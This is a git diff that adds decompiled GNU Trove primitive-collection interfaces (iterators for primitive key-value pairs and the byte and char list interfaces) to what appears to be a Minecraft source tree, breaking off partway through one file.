diff --git a/src/minecraft/gnu/trove/iterator/TDoubleFloatIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleFloatIterator.java
new file mode 100644
index 0000000..68d5cbc
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleIntIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleIntIterator.java
new file mode 100644
index 0000000..c6c38ef
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleIntIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleIterator.java
new file mode 100644
index 0000000..5b3f78c
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleIterator
+  extends TIterator
+{
+  public abstract double next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleLongIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleLongIterator.java
new file mode 100644
index 0000000..630d971
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleLongIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleObjectIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleObjectIterator.java
new file mode 100644
index 0000000..b6230b1
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleShortIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleShortIterator.java
new file mode 100644
index 0000000..69a4809
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleShortIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatByteIterator.java b/src/minecraft/gnu/trove/iterator/TFloatByteIterator.java
new file mode 100644
index 0000000..e5bff6a
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatByteIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatCharIterator.java b/src/minecraft/gnu/trove/iterator/TFloatCharIterator.java
new file mode 100644
index 0000000..6c9c053
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatCharIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TFloatDoubleIterator.java
new file mode 100644
index 0000000..1b16e1f
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatFloatIterator.java b/src/minecraft/gnu/trove/iterator/TFloatFloatIterator.java
new file mode 100644
index 0000000..d791923
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatIntIterator.java b/src/minecraft/gnu/trove/iterator/TFloatIntIterator.java
new file mode 100644
index 0000000..ff2ce2a
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatIntIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatIterator.java b/src/minecraft/gnu/trove/iterator/TFloatIterator.java
new file mode 100644
index 0000000..e1e705d
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatIterator
+  extends TIterator
+{
+  public abstract float next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatLongIterator.java b/src/minecraft/gnu/trove/iterator/TFloatLongIterator.java
new file mode 100644
index 0000000..abd826a
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatLongIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatObjectIterator.java b/src/minecraft/gnu/trove/iterator/TFloatObjectIterator.java
new file mode 100644
index 0000000..fbd2d70
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TFloatShortIterator.java b/src/minecraft/gnu/trove/iterator/TFloatShortIterator.java
new file mode 100644
index 0000000..fd1a53b
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TFloatShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TFloatShortIterator
+  extends TAdvancingIterator
+{
+  public abstract float key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntByteIterator.java b/src/minecraft/gnu/trove/iterator/TIntByteIterator.java
new file mode 100644
index 0000000..bc9327c
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntByteIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntCharIterator.java b/src/minecraft/gnu/trove/iterator/TIntCharIterator.java
new file mode 100644
index 0000000..21454cf
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntCharIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TIntDoubleIterator.java
new file mode 100644
index 0000000..699d5ba
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntFloatIterator.java b/src/minecraft/gnu/trove/iterator/TIntFloatIterator.java
new file mode 100644
index 0000000..3ef4ed2
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntIntIterator.java b/src/minecraft/gnu/trove/iterator/TIntIntIterator.java
new file mode 100644
index 0000000..93865d8
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntIntIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntIterator.java b/src/minecraft/gnu/trove/iterator/TIntIterator.java
new file mode 100644
index 0000000..e85c4fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntIterator
+  extends TIterator
+{
+  public abstract int next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntLongIterator.java b/src/minecraft/gnu/trove/iterator/TIntLongIterator.java
new file mode 100644
index 0000000..a0cacff
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntLongIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntObjectIterator.java b/src/minecraft/gnu/trove/iterator/TIntObjectIterator.java
new file mode 100644
index 0000000..8668a62
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIntShortIterator.java b/src/minecraft/gnu/trove/iterator/TIntShortIterator.java
new file mode 100644
index 0000000..c5e2fbf
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIntShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TIntShortIterator
+  extends TAdvancingIterator
+{
+  public abstract int key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TIterator.java b/src/minecraft/gnu/trove/iterator/TIterator.java
new file mode 100644
index 0000000..c8877df
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TIterator.java
@@ -0,0 +1,8 @@
+package gnu.trove.iterator;
+
+public abstract interface TIterator
+{
+  public abstract boolean hasNext();
+  
+  public abstract void remove();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongByteIterator.java b/src/minecraft/gnu/trove/iterator/TLongByteIterator.java
new file mode 100644
index 0000000..6af912b
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongByteIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongCharIterator.java b/src/minecraft/gnu/trove/iterator/TLongCharIterator.java
new file mode 100644
index 0000000..a88e549
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongCharIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TLongDoubleIterator.java
new file mode 100644
index 0000000..5f8d2c9
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongFloatIterator.java b/src/minecraft/gnu/trove/iterator/TLongFloatIterator.java
new file mode 100644
index 0000000..2ef1b91
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongIntIterator.java b/src/minecraft/gnu/trove/iterator/TLongIntIterator.java
new file mode 100644
index 0000000..569aa1a
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongIntIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongIterator.java b/src/minecraft/gnu/trove/iterator/TLongIterator.java
new file mode 100644
index 0000000..10393f5
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongIterator
+  extends TIterator
+{
+  public abstract long next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongLongIterator.java b/src/minecraft/gnu/trove/iterator/TLongLongIterator.java
new file mode 100644
index 0000000..2d023cf
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongLongIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongObjectIterator.java b/src/minecraft/gnu/trove/iterator/TLongObjectIterator.java
new file mode 100644
index 0000000..1cb784f
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TLongShortIterator.java b/src/minecraft/gnu/trove/iterator/TLongShortIterator.java
new file mode 100644
index 0000000..9f44a1d
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TLongShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TLongShortIterator
+  extends TAdvancingIterator
+{
+  public abstract long key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectByteIterator.java b/src/minecraft/gnu/trove/iterator/TObjectByteIterator.java
new file mode 100644
index 0000000..72b8c39
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectByteIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectCharIterator.java b/src/minecraft/gnu/trove/iterator/TObjectCharIterator.java
new file mode 100644
index 0000000..ae8d0da
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectCharIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TObjectDoubleIterator.java
new file mode 100644
index 0000000..13891bd
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectDoubleIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectFloatIterator.java b/src/minecraft/gnu/trove/iterator/TObjectFloatIterator.java
new file mode 100644
index 0000000..a819ed9
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectFloatIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectIntIterator.java b/src/minecraft/gnu/trove/iterator/TObjectIntIterator.java
new file mode 100644
index 0000000..aa5b299
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectIntIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectLongIterator.java b/src/minecraft/gnu/trove/iterator/TObjectLongIterator.java
new file mode 100644
index 0000000..bb7464f
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectLongIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TObjectShortIterator.java b/src/minecraft/gnu/trove/iterator/TObjectShortIterator.java
new file mode 100644
index 0000000..ec09867
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TObjectShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TObjectShortIterator<K>
+  extends TAdvancingIterator
+{
+  public abstract K key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TPrimitiveIterator.java b/src/minecraft/gnu/trove/iterator/TPrimitiveIterator.java
new file mode 100644
index 0000000..20023b9
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TPrimitiveIterator.java
@@ -0,0 +1,9 @@
+package gnu.trove.iterator;
+
+public abstract interface TPrimitiveIterator
+  extends TIterator
+{
+  public abstract boolean hasNext();
+  
+  public abstract void remove();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortByteIterator.java b/src/minecraft/gnu/trove/iterator/TShortByteIterator.java
new file mode 100644
index 0000000..46ab181
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortByteIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortCharIterator.java b/src/minecraft/gnu/trove/iterator/TShortCharIterator.java
new file mode 100644
index 0000000..963ce27
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortCharIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TShortDoubleIterator.java
new file mode 100644
index 0000000..3f6601c
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortFloatIterator.java b/src/minecraft/gnu/trove/iterator/TShortFloatIterator.java
new file mode 100644
index 0000000..8493071
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortIntIterator.java b/src/minecraft/gnu/trove/iterator/TShortIntIterator.java
new file mode 100644
index 0000000..7b18602
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortIntIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortIterator.java b/src/minecraft/gnu/trove/iterator/TShortIterator.java
new file mode 100644
index 0000000..3a77fd9
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortIterator
+  extends TIterator
+{
+  public abstract short next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortLongIterator.java b/src/minecraft/gnu/trove/iterator/TShortLongIterator.java
new file mode 100644
index 0000000..0bf1586
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortLongIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortObjectIterator.java b/src/minecraft/gnu/trove/iterator/TShortObjectIterator.java
new file mode 100644
index 0000000..f636b15
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TShortShortIterator.java b/src/minecraft/gnu/trove/iterator/TShortShortIterator.java
new file mode 100644
index 0000000..4a0a567
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TShortShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TShortShortIterator
+  extends TAdvancingIterator
+{
+  public abstract short key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/hash/TObjectHashIterator.java b/src/minecraft/gnu/trove/iterator/hash/TObjectHashIterator.java
new file mode 100644
index 0000000..cb38e6b
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/hash/TObjectHashIterator.java
@@ -0,0 +1,56 @@
+package gnu.trove.iterator.hash;
+
+import gnu.trove.impl.hash.THashIterator;
+import gnu.trove.impl.hash.TObjectHash;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectHashIterator<E>
+  extends THashIterator<E>
+{
+  protected final TObjectHash _objectHash;
+  
+  public TObjectHashIterator(TObjectHash<E> hash)
+  {
+    super(hash);
+    _objectHash = hash;
+  }
+  
+
+  protected E objectAtIndex(int index)
+  {
+    Object obj = _objectHash._set[index];
+    if ((obj == TObjectHash.FREE) || (obj == TObjectHash.REMOVED)) {
+      return null;
+    }
+    return obj;
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/TByteList.java b/src/minecraft/gnu/trove/list/TByteList.java
new file mode 100644
index 0000000..a453194
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TByteList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TByteList
+  extends TByteCollection, Serializable
+{
+  public abstract byte getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(byte paramByte);
+  
+  public abstract void add(byte[] paramArrayOfByte);
+  
+  public abstract void add(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, byte paramByte);
+  
+  public abstract void insert(int paramInt, byte[] paramArrayOfByte);
+  
+  public abstract void insert(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3);
+  
+  public abstract byte get(int paramInt);
+  
+  public abstract void set(int paramInt, byte paramByte);
+  
+  public abstract void set(int paramInt, byte[] paramArrayOfByte);
+  
+  public abstract void set(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3);
+  
+  public abstract byte replace(int paramInt, byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(byte paramByte);
+  
+  public abstract byte removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
+  public abstract TByteList subList(int paramInt1, int paramInt2);
+  
+  public abstract byte[] toArray();
+  
+  public abstract byte[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract byte[] toArray(byte[] paramArrayOfByte);
+  
+  public abstract byte[] toArray(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract byte[] toArray(byte[] paramArrayOfByte, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachDescending(TByteProcedure paramTByteProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(byte paramByte);
+  
+  public abstract void fill(int paramInt1, int paramInt2, byte paramByte);
+  
+  public abstract int binarySearch(byte paramByte);
+  
+  public abstract int binarySearch(byte paramByte, int paramInt1, int paramInt2);
+  
+  public abstract int indexOf(byte paramByte);
+  
+  public abstract int indexOf(int paramInt, byte paramByte);
+  
+  public abstract int lastIndexOf(byte paramByte);
+  
+  public abstract int lastIndexOf(int paramInt, byte paramByte);
+  
+  public abstract boolean contains(byte paramByte);
+  
+  public abstract TByteList grep(TByteProcedure paramTByteProcedure);
+  
+  public abstract TByteList inverseGrep(TByteProcedure paramTByteProcedure);
+  
+  public abstract byte max();
+  
+  public abstract byte min();
+}
diff --git a/src/minecraft/gnu/trove/list/TCharList.java b/src/minecraft/gnu/trove/list/TCharList.java
new file mode 100644
index 0000000..965194b
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TCharList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TCharList
+  extends TCharCollection, Serializable
+{
+  public abstract char getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(char paramChar);
+  
+  public abstract void add(char[] paramArrayOfChar);
+  
+  public abstract void add(char[] paramArrayOfChar, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, char paramChar);
+  
+  public abstract void insert(int paramInt, char[] paramArrayOfChar);
+  
+  public abstract void insert(int paramInt1, char[] paramArrayOfChar, int paramInt2, int paramInt3);
+  
+  public abstract char get(int paramInt);
+  
+  public abstract void set(int paramInt, char paramChar);
+  
+  public abstract void set(int paramInt, char[] paramArrayOfChar);
+  
+  public abstract void set(int paramInt1, char[] paramArrayOfChar, int paramInt2, int paramInt3);
+  
+  public abstract char replace(int paramInt, char paramChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(char paramChar);
+  
+  public abstract char removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
